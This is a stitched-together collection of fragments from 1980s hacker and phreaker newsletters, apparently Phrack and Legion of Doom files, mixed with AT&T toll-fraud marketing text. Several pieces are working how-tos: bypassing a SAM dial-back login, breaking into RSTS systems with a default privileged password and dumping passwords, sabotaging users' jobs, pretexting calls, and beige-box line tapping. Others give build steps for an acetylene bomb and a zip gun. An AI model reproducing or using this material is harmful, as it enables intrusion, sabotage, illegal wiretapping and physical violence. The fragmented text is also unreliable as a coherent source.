exchange, Premium Service +customers have no financial liability from the start of fraud to two hours +after notification. As with the Advanced Service option, AT&T will assume +liability for remote toll fraud for only two hours after the fraud is +identified. AT&T also will work with customers to identify and shut down the +sources of fraud. + +NetPROTECT Service guarantees coverage of only remote toll fraud - fraud that +occurs when a customer's telecom system has been penetrated from the outside. +While our monitoring will catch fraud, customers are still responsible for +protecting themselves against unauthorized use of their long-distance service +by their own employees or other inside agents. + +AT&T Global Business Communications Systems also offers the following +products and services, which help secure customer-premises equipment: + +o AT&T Hacker Tracker - software that's used with AT&T's PBX Call Accounting +System for continuous monitoring of all incoming and outgoing calls. This +software causes the system to automatically alert security when it detects +abnormal activity such as a PBX getting high volumes of incoming 800-number +calls after hours, or calls to international destinations. + +o Security Audit Service - a consulting service provided by security people +in AT&T's National Technical Service Center in Denver, and Corporate +Security. These people perform individual system audits and recommend +security measures. + +o Fraud Intervention Service - provided by AT&T's National Technical Service +Centre. The service helps customers identify and stop fraud while its in +progress. It would give step-by-step guidance, for example on securing the +PBX and installing the back-up copy of the PBX's software. Also available are +several educational offerings and a security handbook. + +ADDED SAFEGUARDS +Since NetPROTECT Service was announced, a number of insurance companies have +indicated interest in providing toll-fraud insurance. The Travellers +Companies actually have introduced toll-fraud insurance policies that cover +business customers, indemnifying them for a loss that has occurred. Further +measures also have been taken., Using some of the basic monitoring tools, +AT&T NetPROTECT Service security personnel now can monitor repeated 800 call +attempts made from a particular telephone number. + +This is particularly useful because a favourite trick of hackers is to +randomly dial 800 numbers to reach a voice-processing system or other +automated attendant. If the owner of the 800 number hasn't properly secured +the system, a hacker can bypass it and make outgoing calls. Once they +penetrate a particular number, hackers often sell it or may post it on +electronic bulletin boards for other hackers to use. People who exceed a +certain threshold level (which changes hourly or daily) of 800-number +attempts in a predetermined time are locked out of AT&T's 800 network. + +Toll fraud isn't committed just by hackers. It's a big and growing business, +often perpetrated by organized crime. Because toll-fraud has generally not +been a high priority for law enforcement officials, toll thieves +traditionally have not faced heavy penalties even if caught. With little risk +and high profits, it's no wonder the toll-fraud business is booming. + +NetPROTECT Service is an aggressive program to fight back. Standing squarely +with its customers, AT&T believes it can put an end to the theft of long +distance service. + +By James R.

While this was a sincere effort on my part to bring the +hacking community back to its glory days, recent events +suggest to me that my efforts were misguided and that my +energy can be best applied to other ventures. While it is true +that I want to help the hacking/phreaking scene to rise from +its current nadir, this clearly cannot be accomplished by +attempting to revive a group that is best left in the realm +of past history, nor by appropriating a name which neither I nor +anyone else not associated with LOD has a right to use. + + Following release of my message proclaming the return of the +golden days of hacking and the Legion of Doom I was contacted +by both voice and netmail by several members of the former +Legion of Doom. After a few discussions and hearing what they +had to say and their view on this I began to realize several +things. First, I do not have a legitimite right to use the LOD +name because I was never afiliated with the original group and +(truth be told) I do not possess at this time the hacking +and phreaking knowledge which would have gotten me into the +group to begin with if it were still around. Second, even if I +were an original member I would still not have a right to use +the name; the group is disbanded and no one (except maybe the +founder?) can ever assemble it again. The best thing to do is +to let the LOD name live in history only and be retired in +dignity. I regret that I may have tarnished the LOD name and +reputation with my actions. Third and lastly, even if I had a +right to use the name, it does not make any sense to do it. +Experienced hackers and phone phreakers could just as easily +be assembled under an entirely different group name (such as +"the Digital Intruders") and still rise to pre-eminence in the +hacking community. A group of good hackers by any other name +could be just as elite. Basicly, nothing is gained by using +the LOD name and in persisting to do so would be risking the +acrimonious contempt of the real LOD and the whole net. + + Finally, I hope this message will cause the whole affair to +just die off. Since 99% of the response I got was negative and +I have not yet received any articles for publication, I here +and now declare my part in the futile LOD revival to be +ended. I apolgize for any inconvenience/aggrevation that I +may have caused anyone, especially but not limited to the +following real LOD ex-members: The Marauder, Lex Luthor, +Professor Falken, Mark Tabas, Bill from RNOC, Lord Digital, +Doctor Who, and Phantom Phreaker. + + All of the ex-LOD members that I spoke with were curteous and +no one has made any threats of any kind to my person or +telephone.

It's a sad day indeed +when the term hacker is used to refer to every code and credit card +abusing rodent in the nation.

It +is an organization dedicated to understanding the world's computer +and telephone networks. Enabling everyone to progress forward in +technology. The accumulated product of this - the Technical +Journals, full of information unavailible anywhere except from +telco manuals represents something to valuable to lose. + +It is a true tragedy that after the great witch hunt that was +Operation Sun Devil that the former LOD died. If the powers that +be, think they can shut down real hackers by undertaking +unprovoked, uneeded not to mention unconstitutional draconian acts +they are mistaken.

The previous 4 +issues, now several years old BADLY need updating. If you don't +have the first 4 TJ's, and would like them (they are highly +recommended for anyone interested in learning more about this +field) they may can be found on ftp.eff.org and numerous other +sites that carry underground files.

Acceptable submitions would include ORIGINAL articles +on various systems, services, security discussions, technical +specifications and doccumentation. Computer and telephone related +subjects are not the only ones acceptable. If you remember the +former journals had articles concerning interrogation, physical +security among others. + +The next LOD Technical Journal will comprise almost entirely of +freelance or reader submitted articles.

This +system utilizes a dial-back routine which is very effective. To +access the computer, you must first dial the port to which SAM is +hooked up. The port for one such college is located at (818) 885- +2082. After you have called, SAM will answer the phone, but will make +no other responses (no carrier signals). At this point, you must +punch in a valid Login Identification Number on a push-button phone. +The number is in this format -- xxyyyy -- where xx is, for the number +mentioned above, 70. 'yyyy' is the last 4 digits of the valid user's +telephone number. + If a valid LIN is entered, SAM will give one of 3 responses: +1) A 1 second low tone +2) A 1 second alternating high/low tone +3) A tone burst + +Responses 1 and 2 indicate that SAM has accepted your passcode and is +waiting for you to hang up. After you hang up, it will dial the valid +users phone number and wait for a second signal. + +Response 3 indicates that all of the outgoing lines are busy. + +If SAM accepts your passcode, you will have to tap into the valid +users line and intercept SAM when it calls. If you do this, then hit +the '*' key on your phone. SAM will respond with a standard carrier, +and you are in! + +That's all that I have hacked out so far, I will write more +information on the subject later. + + -%>Spitfire Hacker<%- + 2600 Club! + + ==Phrack Inc.== + Volume One, Issue One, Phile 3 of 8 + +////////////////////////////////////////////////////////////////////////////// +/ / +/ Boot Tracing Made Easy / +/ Written by / +/ ________________ / +/ \Cheap/ \Shades/ / +/ \___/ \____/ / +/ 2600 CLUB! / +/ / +////////////////////////////////////////////////////////////////////////////// +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +\ \ +\ Be sure to call \ +\ \ +\ Kleptic Palice......(314)527-5551 \ +\ 5 Meg BBS/AE/CF \ +\ Metal Shop..........(314)432-0756 \ +\ Elite BBS (Home of 2600 CLUB! \ +\ and Phrack Inc. ) \ +\ \ +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +About 3 or four years ago, a real good friend of mine was teaching a ML +Programming course for the Apple 2 series. I, being a good friend and +quite bored, asked him about cracking Apple games. He told me that he had +spent the last summer cracking programs. He showed me a method that he came +up with entirely on his own, boot tracing. Little did he know that this was +already quite popular but he developed his own method for doing it which from +reading other files about it, is the simplest I've ever seen. (To give you +an idea, I had SN0GGLE (I've never played the game but a friend had it on +disk.) completely loaded into memory ready to be dumped in about 12 minutes.) +Ok, first of all, ALL programs can be boot traced. The only thing is that some +may not be easily converted into files. The only programs that you should try +if you aren't real good at ML, are ones that load completely into memory. Also +to do this you will need a cassette recorder. (don't worry the program we will +save won't take too long to save, and if all goes well it will only be saved +loaded once.) I hate learning the theory behind anything so I'm not gonna +give any theory behind this. If you want the theory, read some other phile +that does this the hard way. + +First make sure your cassette recoder works by BLOADing some program and +typing: +CALL -151 +AA60.AA73 +You'll see something that looks like this: +AA60-30 02 xx xx xx xx xx xx +AA68-xx xx xx xx xx xx xx xx +AA70-xx xx 00 08 +or whatever...The 30 02 is the length ($0230 bytes).

Well, this is the great +"Acetylene Balloon Bomb." And here is how to make it. + +Ingredients: +============ +(1> For a small bomb: a plastic bag. Not too big. + For something big(ger): a green, plastic garbage bag. + +(2> Some "Fun-Snaps". A dozen should be more than enough. + +(3> Some garbage bag twisties. String would also do. + +(4> A few rocks. Not too heavy, but depends on size of + bomb and desired velocity of balloon/bomb. + +(5> PRIME INGREDIENT: Acetylene.

It is unstable upon +contact with oxygen (air). For this reason, and for your +safety, I recommend you keep all of the acetylene AWAY from any +source of oxygen. This means don't let it get in touch with +air. + + +Construction: +============= +(1> Fill up a bathtub with cold water. Make it VERY full. +(2> Now get put you garbage bag in the water and fill it + with water. Make sure ALL air/oxygen is out of the + bag before proceeding. +(3> Now take your acetylene source (I used it straight + from the torch, and I recommend this way also.), and + fill the bag up with acetylene. +(4> Now, being careful with the acetylene, take the bag + out of the tub and tie the opening shut with the + twisty or string. Let the balloon dry off now. (Put + it in a safe place.) +(5> Okay. Now that it is dry and filled with acetlene, + open it up and drop a few rocks in there. Also add + some Fun-Snaps. The rocks will carry the balloon + down, and the Fun-Snaps will spark upon impact, thus + setting off the highly inflammable acetylene. + *BABOOM!* +(6> Now put the twisty or string back on VERY tightly. + You now have a delicate but powerful balloon bomb. + +To use: +======= +Just drop off of a cliff, airplane, building, or whatever.

By doing so one could disconnect a persons line, +add call forwarding, call waiting, threeway calling, speed calling, or other +options that might be available through Bell. Well, this can be very disturbing +and cause many problems so lets see how this can be prevented. First off, it +would be a very good idea to call the Billing office for your exchange and ask +that all inquires made on the your line be verified with you. Is what happens +now is that Bell marks down in your file that if you decide that you would like +a certain Bell option added to your line; they will call and check it out with +you or the person that pays the phone bill. So if someone tries to add +something onto your line you will be notified before hand. This has two +advantages, one you will prevent any occurences on your line, two you will know +that someone is attempting to mess around with your phone line. But, in the end +you will come out on top because you took the time to listen. And as Smokey the +Bear says, "Don't Shit in the woods I LIVE HERE!". + + + ==Phrack Inc.== + Volume One, Issue Two, Phile 3 of 9 + + ::::::::::::::::::::::::::::::::::::::: + ::::::::::::::::::::::::::::::::::::::: + @@@@ --] Man-Tooth [-- @@@@ + @@@@ presents... @@@@ + @@@@:::::::::::::::::::::::::::::::@@@@ + @@@@ -- HOMEMADE GUNS -- @@@@ + @@@@:::::::::::::::::::::::::::::::@@@@ + @@@@ from @@@@ + @@@@ "The Poor Man's James Bond" @@@@ + @@@@ by Kurt Saxon @@@@ + ::::::::::::::::::::::::::::::::::::::: + ::::::::::::::::::::::::::::::::::::::: + + + + PIPE OR "ZIP" GUNS + ------------------ + + Commonly known as "zip" guns, guns made from pipe have + been used for years by juvenile punks. Today's Militants + make them just for the hell of it or to shoot once in an + assassination or riot and throw away if there is any danger + of apprehension. + + They can be used many times but with some, a length of + dowel is needed to force out the spent shell. + + There are many variations but the illustration shows the + basic design. + + First, a wooden stock is made and a groove is cut for + the barrel to rest in. The barrel is then taped securely to + the stock with a good, strong tape. + + The trigger is made from galvanized tin. A slot is + punched in the trigger flap to hold a roofing, which is + wired or soldered onto the flap. The trigger is bent and + nailed to the stock on both sides. + + The pipe is a short length of one-quarter inch steel gas + or water pipe with a bore that fits in a cartridge, yet + keeps the cartridge rim from passing through the pipe. + + The cartridge is put in the pipe and the cap, with a + hole bored through it, is screwed on. Then the trigger is + slowly released to let the nail pass through the hole and + rest on the primer. + + To fire, the trigger is pulled back with the left hand + and held back with the thumb of the right hand. The gun is + then aimed and the thumb releases the trigger and the thing + actually fires. + + Pipes of different lengths and diameters are found in + any hardware store. All caliber bullets, from the .22 to + the .45 are used in such guns. + + Some zip guns are made from two or three pipes nested + within each other. For instance, a .22 shell will fit + snugly into a length of a car's copper gas line. + Unfortunatey, the copper is too weak to withstand the + pressure of the firing. So the length of gas line is spread + with glue and pushed into a wider length of pipe. This is + spread with glue and pushed into a length of steel pipe with + threads and a cap. + + Using this method, you can accomodate any cartridge, + even a rifle shell. The first size of pipe for a rifle + shell accomodates the bullet. The second accomodates its + wider powder chamber. + + A 12-gauge shotgun can be made from a 3/4 inch steel + pipe. If you want to comply with the gun laws, the barrel + should be at least eighteen inches long. + + Its firing mechanism is the same as that for the pistol. + It naturally has a longer stock and its handle is lengthened + into a rifle butt. Also, a small nail is driven half way + into each side of the stock about four inches in the front of + the trigger. The rubber band is put over one nail and + brought around the trigger and snagged over the other nail. + + In case you actually make a zip gun, you should test it + before firing it by hand. This is done by first tying the + gun to a tree or post, pointed to where it will do no + damage. Then a string is tied to the trigger and you go off + several yards. The string is then pulled back and let go. + If the barrel does not blow up, the gun is safe to fire by + hand. + + You should not attempt to register such a gun. + + + + + + Pipe Cap + / + / Bullet Tape Pipe + / / / \ / + v / / \ / + !----! / v v v + Nail--\ / /-!---v-----!---!-!---!--------- + v --- - - - - - -!- -!-!- -!- - - - ! + //----> ![][]\ ! ! ! ! ! + ^ ! !--\ ![][]/ ! ! ! ! ! + Wire/ ! ! \-!- - - - -!- -!-!- -!- - - - ! + Trigger---> ! ! !---! ! ! ! ! :::: + /! ! /--------!---!-!---!--::::--! + / :::::::::::::::::::::::::::::::: <-\ + ! !-! / \-- Rubber + / / band + ! ! + ! / + ! ! + ! ! + ! ! + !------! + + + + Z I P G U N + + + / <---Nail + !-!/ + /------------------\ /-----!o!-----\ + !

Written by The Pyro ! + ! ! + ! ! + +--------------------------+ +Blow darts are easy to make and all the materials can be found in your own +home. These darts can travel a long distance with good penetration if +constructed correctly. + +Materials needed: + +A small piece of wood +A sewing machine needle +A spool of thread +A couple nails +Hammer +Glue +Scissors + + Hammer the two nails about two inches apart on the board. Wrap the thread +tightly around the two nails. The number of times the thread is wrapped around +the nails will determine the amount of weight and stability the dart has. Once +you have decided you have wrapped enough thread, cut it close to the nail at +around a half inch. Take this small tuft of thread and put a dab of glue on the +folded end. The kind of glue you use is very important. I suggest that you use +a tacky kind of glue (nothing runny, like Elmer's glue). Attach this to the +needle and hold until it is dry. + Another kind of dart can be made with Q-tips. This kind of dart doesn't work +as well as the first one, but it is sometimes easier to make. first you have to +get the kind of Q-tips that have a plastic stem. Cut the Q-tip close to one +end. Insert the sewing needle into the Q-tip and secure it by melting the +plastic slightly with a lighter. This kind of dart doesn't last long because +the cotton come off easily. + +Blow Guns: + + Ordinary straws make an excellent blow gun with this kind of dart. Another +kind can be made with a cheap pen by taking apart the pen and using the shell. +Any long, cylindrical, object with the diameter of a straw will work very well. + + + T h e A l l i a n c e + + 618-667-3825 + + 7pm. to 7am. + + +(> +========================================================================= +Received: (from UNKNOWN@HACKERVILLE for HATCHET@VALHALLA via XTC) + (UNKNOWN-0481; 185 LINES); Tun, 07 Oct 88 21:12:54 CDT +Date: Tun, 07 Oct 88 21:12 CDT +To: HATCHET +From: UNKNOWN@HACKERVILLE + +Comment: converted from FBICIADATA format at 666 + + ==Phrack Inc.== + Volume One, Issue Two, Phile 5 of 9 + + Updated from November 26, 1985 + Tac Dialups taken from Arpanet + by Phantom Phreaker + + TAC DIALUPS SORTED BY LOCATION 26-NOV-85 + + State/Country 300 Baud 1200 Baud 1200 Type + ------------- --------------- ----------------- --------- + + ALABAMA + Anniston Army Depot [M] + (ANNIS-MIL-TAC) (205) 235-6285 (R4) (205) 235-7650 B/V + (205) 237-5731 (R8) (205) 237-5731 (R8) B/V + (205) 237-5770 (R8) (205) 237-5779 (R8) B/V + (205) 237-5805 (R8) (205) 237-5805 (R8) B/V + + *Please note: When accessing the Anniston TAC you must first enter a + , then enter DDN .

Lightguide fiber is dramatically + expanding the capacity of local networks, helping to lower + the costs and increase the demand for high-band width, + Information Age services. And public networks are + increasingly digital and geared for data and special + services. For example: + + o The AT&T Network Systems 5ESS (TM ) switch, + designed by Bell Laboratories, can serve as the hub of a + local deployment of remote modules at locations up to 100 + miles from a host central office. + + o The Integrated Special Services Network (ISSN) is a channel + network that provides special services, customer control + options and digital private lines rearrangeable under + software control. The ISSN incorporates digital carrier + terminating equipment such as the D4 Channel Bank, D5 Digital + Terminal System and Digital Access and Cross-connect System + (DACS). + + o The New Centrex is bringing greater levels of customer + control, improved services and a broad range of data + capabilities to the business customer. + + Today's public networks consist of multiple or + overlay networks. The public switched network, or circuit + network, mainly for voice, is the base network. Two kinds of + overlay networks provide special services. Channel networks + carry private lines leased by large customers and transmit + much of today's data and image traffic; they also handle + traffic for network operations support. Packet networks + carry data communications, while packet switching is used + internally to public networks for common channel signaling to + set up, route and take down calls, or to give customers + information. + "Overlay networks help telecommunications companies + efficiently meet growing demand for digital transmission and + special services," says Stan Johnston, Market Planning + Manager, Network Systems Evolution, in AT&T Network Systems. + "Their integration into a single network, however, would be + still more effective." + + Phase two, the Integrated Services Digital Network (ISDN). + ~~~~~ ~~~~ ~~~ ~~~~~~~~~~ ~~~~~~~~ ~~~~~~~ ~~~~~~~ ~~~~~~~ + The ISDN is a concept to which AT&T is committed - and it's + the foundation for Universal Information Services. The + central idea of ISDN, as AT&T Network Systems sees it, is to + provide an individual user a link to the local central office + of generous band-width - a digital subscriber line that can + carry 144,000 bits per second (sure beats 2400 baud!). The + band-width is subdivided into two 64,000-bit channels, which + may carry voice or data or both, and one 16,000-bit channel + for packetized signaling information or data transport. Such + a link provides convenient "integrated" network access by + accommodating voice, data and signaling over a single line. + The ISDN will make it easier for a customer to get + varied services from public and private networks. More + bandwidth for big customers will be available through another + ISDN access standard, the extended digital subscriber line, + which provides 1.5 billion bits per second as 24 channels of + 64,000 bits each. + In 1986, new software from Bell Labs will enable the + 5ESS switch to accommodate ISDN-sized 144,000-bit channels + that standardize and simplify subscribers' use of local + networks. AT&T is committed to future products that will + also be ISDN-compatible. Other vendors, too, some of whom + already plan to build premises, terminal, and other + equipment to ISDN standards, will make ISDN a cooperative + effort. + By providing integrated digital access to networks, + ISDN will make important progress toward the goal of + Universal Information Services. But overlay networks will + continue to divvy up the transport job. And messages needing + less than 144,000 bits per second will not fill their + allotted bandwidth, leaving capacity underutilized. + + Phase three, Universal Information Services. + ~~~~~ ~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~ + Rooted in the fertile ground of 5ESS switches, ISDN equipment + and technologies such as wideband packet transport, Universal + Information Services will bear fruit during the 1990s. From + a single kind of network will hang services as different as + apples, oranges and pears. Just as network access was + integrated in ISDN, transport functions will increasingly be + integrated by powerful new network equipment evolved from + equipment developed for the ISDN. Where customers once got + standard-sized ISDN channels, they'll get big bandwidth for + large jobs, little bandwitdh for small jobs. + + + ==Phrack Inc.== + Volume One, Issue Two, Phile 7 of 9 + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ @ +@ _ _ _______ @ +@ | \/ | / _____/ @ +@ |_||_|etal / /hop @ +@ __________/ / @ +@ /___________/ @ +@ Headquarters of Phrack Newsletter @ +@ @ +@ (314) 432-0756 @ +@ @ +@ Proudly Presents @ +@ @ +@ MCI Overview @ +@ @ +@ Written on 11/16/85 @ +@ @ +@ by @ +@ @ +@ Knight Lightning & Taran King @ +@ @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + +MCI Communications Corporation, headquartered in Washington, D.C., provides a +full range of domestic and international telecommunications services, including +voice and data, telex and cable, paging and mobile telephone, and time +sensitive message delivery. + +Since its founding in 1968, MCI has grown to more than $1.6 billion in annual +sales and serves more than 1.9 million business, residential and government +customers through its four major business units: + + MCI Telecommunications + + MCI Airsignal + + MCI International + + MCI Digital Information Services + + +MCI TELECOMMUNICATIONS +---------------------- +MCI Telecommunications provides domestic interstate long distance service +throughout all 50 states, plus Puerto Rico, the U.S. Virgin Islands, and major +calling areas of Canada.

I was a system manager on an 11-23 for about a year and learned a +fair amount about the OS (perhaps forgetting a good deal in the interim). This +phile applies to release 8.0 and the entire 7 series. By the way, version 9.0 +is it - DEC is discontinuing RSTS with that release and using 9.0 as a bridge +to VMS for the PDP-11 series. The logon will tell which version you are +hacking. + + If the SYSTAT-before-logon has been disabled (It probably has), no big +worry. Account 1,2 must be present on the system and contains most of the +system utilities. On booting, the account is called at least 8 times to put +batch processors and spoolers online. Changing [1,2]'s passwords in the +command file is a tedious process - most system managers are too lazy, so it +won't change often. Oh yes, the default PW for 1,2 is SYSLIB. This knowledge +should cut hacking time considerably for many systems. When you get in, RUN +$MONEY. This gives all accounts, KCT's (Billing units), accesses, time on +system, and PASSWORDS, if you ask. Don't reset the system when it asks, it +merely zeroes the program and not the hardware, but could tip someone off that +he system had been hacked. + + Personally, I like running out of a new account, so RUN $REACT. +Pick a new account , making sure the first number (before the comma) is a "1" +to get full privilege. Accept defaults for disk placement. As for Cluster +size, I prefer 4. It's large enough to get fast disk access, but small enough +so that little space is wasted for small files. Cluster size is shown (CLU or +CLS) on MONEY and on DIR/FULL. Follow conventions and you'll stand less chance +of being noticed. + + RSTS has some of the most complete HELP files short of a CDC mainframe. +HELP HELP will give the forst screen of the nested menus. Be sure to do this +from a privileged account or you'll miss about half of the best commands. HELP +SYSTAT will give a thorough overview of the system setup & status program. + + RUN $SYSTAT (or just SYS if the Concise Command Language is set +up normally). On the left is a report of te system users including all +background jobs (print spoolers, batch processors and the like), their +keyboard, and what state they are in (RN=run, ^C=waiting for input, DCL=logged +on, no program running, DR=Disk Read, DW=Disk Write). To the right is a list +of busy I/O devices. At the end is a full report of Disk names (DR:=Hard, DU:= +floppy), and space allocated/free. To cause some havoc pick a target KB, +preferrably one running a financial type program. Note the Job +leftmost column. Simply type UT KILL and he's totally gone, without so much +as a logoff message. If done during a Disk Write - get out the backups!! + + If just tying up resources is more your game, RUN $VT50PY. It gives +the utilization readout on a 20 second basis, or whenever a key is struck. The +program itself uses a lot of CPU time, so when the Interval <20>? comes up, +enter a 1 and watch the EXEC percent go through the roof. + + If wasting paper is more your style, find the KB: number of the printer +(KB0: is the console) from SYSTAT when it's in use, or try LP1:. Find a long +text file (DIR [*,*]*.txt) and COPY LP1:=filename. Don't forget the colon when +referring to keyboards or printers. + + Try DTR. If DATATRIEVE is online, you can set up a database of huge +proportions. Again, full help is available.

It doesn't go into incredible detail, and is lacking in areas. It is +not a guide to hacking into it, just letting you know what you would be dealing +with. This is to pique your interest in the system. + + So What the Hell is ROLM? + ------------------------- + ROLM is a "Business Communications System" bought by IBM a few months ago, +in an effort to compete effectively with AT&T, and get a larger share of the +market, in a grand master plan to become "Big Daddy Blue" as opposed to "Ma +Bell". It is a very complex system, with features such as PhoneMail, A +Super-PBX, Local Area Networks, Public and Private Data Networks, Desktop +Communications, and Call Management. + The heart of the system is the Controller, called the CBX . This controls the entire network accessible through ROLM. +Since 1983, the CBX was redesigned and upgraded to the CBX II. It is a PBX with +much much more to +offer, and that is ROLM's claim to fame. It is light years ahead of the regular +PBX system. + + + The CBX II + ---------- + + The CBX II is the core of the ROLM network. It is computer driven and +expandable from one node, with 165 channels, to 15 nodes providing 11,5200 +2-way channels. The smaller business could have a model with a 16 user maximum +limit, but it can go up to 10,000 users, though this would be quite rare . It can be accessed from outside lines as +well as HardWired units, with a switching system to prevent busy signals on a +port. Speed depends on the system in place, either the newer, faster ROLMbus +295, or the older standard ROLMbus 74. +The larger the system, the faster as well. It is adjustable to accept different +bandwidths for the various components, such as Telex, Voice, Data, Mainframe, +LAN, Video , and anything hooked up to the +system. Similar tasks can be bunched onto one channel as well, at high or low +speeds. If multiplexing is used , the maximum speed is 192,000 bps, and +if using a single interface, the top possible rate is a mindboggling 37,000,000 +bps, which if you ask me, if just fluff and not too practical, so they are +usually multiplexed. . Using +the CBX II network, you might find just about any kind of mainframe, from HP, +to DEC, to VAX, to the IBM 327 series. + Note : There is a smaller version of this called the VSCBX. + + + Phone Mail + ---------- + + This is one of the little beauties of the system, something truly fun to +fuck with. I called ROLM Headquarters in California to ask specific questions +about ROLM, posing as a researcher, and I got the big runaround, transferred +from department to department. Maybe you can get further than I. Their is +408-986-1000. The to PhoneMail from the outside is 800-345-7355. A nice +computer-generated voice comes on asking you to enter your Extension number +, and then enter the "" sign. Then enter your +password. If you make around 3 or 4 bad attempts at an Extension of Password, +it will automatically ring another number, assistance I assume, to find out why +there has been an unsuccessful entry attempt. I haven't played around with this +that much, so leave mail to Monty Python with whatever you find. Once entering +an authorization with correct password, you will be presented with more +options, leave messages to other people, and whatnot. You can hear your +messages, forward them to another person, leave the same message to more than +one person, change your welcome message, etcetera. The service is for those +business-type pigs who never sit still for one minute, like they are +permanently on speed. + + A Phone Mail Scenario + --------------------- + + Let's say if Mr. Greed goes out to meet his secretary at a motel, but +definitely has to get that important message from Mr. Rasta, who's bringing in +$3 mil in Flake, and can't trust it to the person who would handle it . Mr. Greed would have given Mr. Rasta his phone and he +would be forwarded to the Phone Mail network, where he would hear a message +left my Mr. Greed, to anyone who would call. Mr. Rasta would leave his message +and hang up. Then Mr. Greed could call up the 800-345-7355 , punch in his +extension authorization number, and password. Or, if he was back at the office, +he could get it there through DeskTop communications. Messages can be delivered +without error, in the person's own voice, without other people knowing about +it. Therefore, someone with enough knowledge could use an unused account and +use it as his own service, without the knowledge of others. + + DeskTop communications + ---------------------- + + ROLM has developed a Computer/Telephone integrated device for use with the +Desktop communications. It is linked with the CBX II through fone lines, thus +accessible by you and me from the outside. It is not hardwired, though it can +approach hardwired speed. If you could get your hands on one of these +computer/fones then I think you would have found something very useful at home, +in your general life. But you could access the network without the special +features of the fone, like one touch dialing, which is designed for the stupid +lazy businessman. You can access company databases through the network, +mainframes, other people, just about anything as if you were right there and +told your secretary to do it for you. There is special software used by the +computers or computer/fone but it can be improvised and is just an aid. It uses +a special protocol . What is great is that everything is tied together through +telefone lines, and not RS-232C! Thus, there is an access port....somewhere. +Scan the 's around the office using ROLM. How do you know if it is using +ROLM one way or the other. Compile a list of local businesses, call them up +saying "This is ROLM Customer Support. We have a report of a complaint in your +CBX II network, let me speak to your supervisor please." If they say "ROLM? CBX +II? We don't use that" then just apologize and go elsewhere. Or say that you +are from ROLM corp and would like to know if the company is interested in using +it to network its system. Like, if they have it already, they would say that +they had it. And if they didn't, you would just give them a fake . + + But you know what's REALLY Great? They have made the network link in mind +for the person with a Computer IQ of about 0. Commands are in plain English. +Here is a demonstration screen as seen in their brochure: + CALL, DISPLAY or MODIFY + + Display groups + + ACCESSIBLE GROUPS: + [00] PAYROLL [01] MODEM [02] IBMHOST + [03] DOWJONES [04] DECSYSTM [05] MIS-SYSTM + [06] DALLAS [07] SALES + + CALL, DISPLAY OR MODIFY? + Call Payroll + + CALLING 7717 + CALL COMPLETE + + **PAYROLL SYSTEM** + ENTER ACCOUNT CODE: + + See, nothing is confusing, everything pretty self-explanatory. There may be +more than one person wanting to do the same thing you are, so if there is, you +would be put on a queue for the task. It seems that those with an IBM would be +best suited for ROLM hacking, because ROLM is owned by IBM, and the PC's used +by the network are IBM. A person with a simpler fone/Terminal couldn't access +something like their DEC mainframe, or something like that. By calling in, you +could not run an application, unless you had a special interface, but you could +access the database, which any dumb terminal could do. + However, there are security levels. Thus one with a privileged account +could access more things than one without it. Like Joe Schmoe in Sales couldn't +get to Payroll . It seems that for non-IBM's to access some of the parts of the +network, you would need an interface to become the same thing as a RolmPhone. + Excessive 's of bad logon attempts, which would be construed as a linking +error would notify the network manager, And if they saw that there was no +hardware error, eventually, they would think of if they were somewhat +experienced, you guessed it, hackers. + + The PBX + ------- + + ROLM has something called Integrated Call Management . Now, when designing ICM, they must have taken into account the abuse +possible in plain ol' PBX's. So they put in something called Call Screening. +This will enable the company to restrict calls to certain 's and prefixes. +Calls to non-business 's or certain areas can be screened out <"No personal +calls on my time, Johnson!">, with the exception of 1 specific that you want. + There is a choice of having a codeless, screened PBX, or a PBX where +accounts are assigned to each employee, and the 's they call get recorded to +that account. There can be privileged accounts where a large volume of calls +would go relatively un-noticed. But I don't think that large-scale abuse of +this system would be easy or practical. Calls are routed AUTOMATICALLY through +the service where the rates are cheaper to the location dialed, which is pretty +fucking cool. And, the PBX is accessible from the outside, using Direct Inward +System Access, making it AB-useable. + But what about if there is Equal Access in that area? It doesn't matter, +the CBX will automatically access the service without you having to worry about +it + BUT!: There is a use of Call Detail Recording, where information on all +ingoing and outgoing calls are recorded. + + Conclusion + ---------- + + Not a lot of research went into this file, but it did take a little while +to type up, and all of the information is correct, to my knowledge. Anyone is +free to expand on this file into a Part II. It was written to enlighten people +about this system, and I hope this has helped a little bit. + Sysops: You are free to put this file up as long as NONE of the credits +are changed! . Please give us +a chance. + + Coming soon, to a telephone near you: The Return of The Flying Circus.

This act states that "It shall not be unlawful under +this act for an operator of a switchboard, or an officer, employee, or agent of +any communication common carrier who's switching system is used in the +transmission of a wire communication to intercept or disclose intercepted +communication." + +What all this legal bullshit is saying is that if you don't work for a phone +company then you can't go around tapping people's lines. If you decide to +anyway, and get caught, it could cost you up to 5 years of your life and +$10,000. This, you are all assuming, means that if you tap someone else's line, +you will be punished....wrong! You can't tap your own line either. The +punishment for this is probably no more than a slap on the hand, that is if +they actually catch you, but it's a good thing to know..............now on to +the fun..... + + PART II: TAPPING + +Everyone has at some time wanted to hear what a friend, the principal, the prom +queen, or a neighbor has to say on the phone. There are several easy ways to +tap into a phone line. None of the methods that I present will involve actually +entering the house. You can do everything from the backyard. I will discuss +four methods of tapping a line. They go in order of increasing difficulty. + +1. The "beige box": a beige box (or bud box) is actually better known as a +"lineman" phone. They are terribly simple to construct, and are basically the +easiest method to use. They consist of nothing more than a phone with the +modular plug that goes into the wall cut off, and two alligator clips attached +to the red and green wires. The way to use this box, is to venture into the +yard of the person you want to tap, and put it onto his line. This is best done +at the bell phone box that is usually next to the gas meter. It should only +have one screw holding it shut, and is very easily opened. Once you are in, you +should see 4 screws with wires attached to them. If the house has one line, +then clip the red lead to the first screw, and the green to the second. You are +then on the "tappee's" phone. You will hear any conversation going on. I +strongly recommend that you remove the speaker from the phone that you're using +so the "tappee" can't hear every sound you make. If the house has two lines, +then the second line is on screws three and four. If you connect everything +right, but you don't get on the line, then you probably have the wires +backward. Switch the red to the second screw and the green to the first. If no +conversation is going on, you may realize that you can't tap the phone very +well because you don't want to sit there all night, and if you are on the +phone, then the poor tappee can't dial out, and that could be bad...so....... +method two. + +2. The 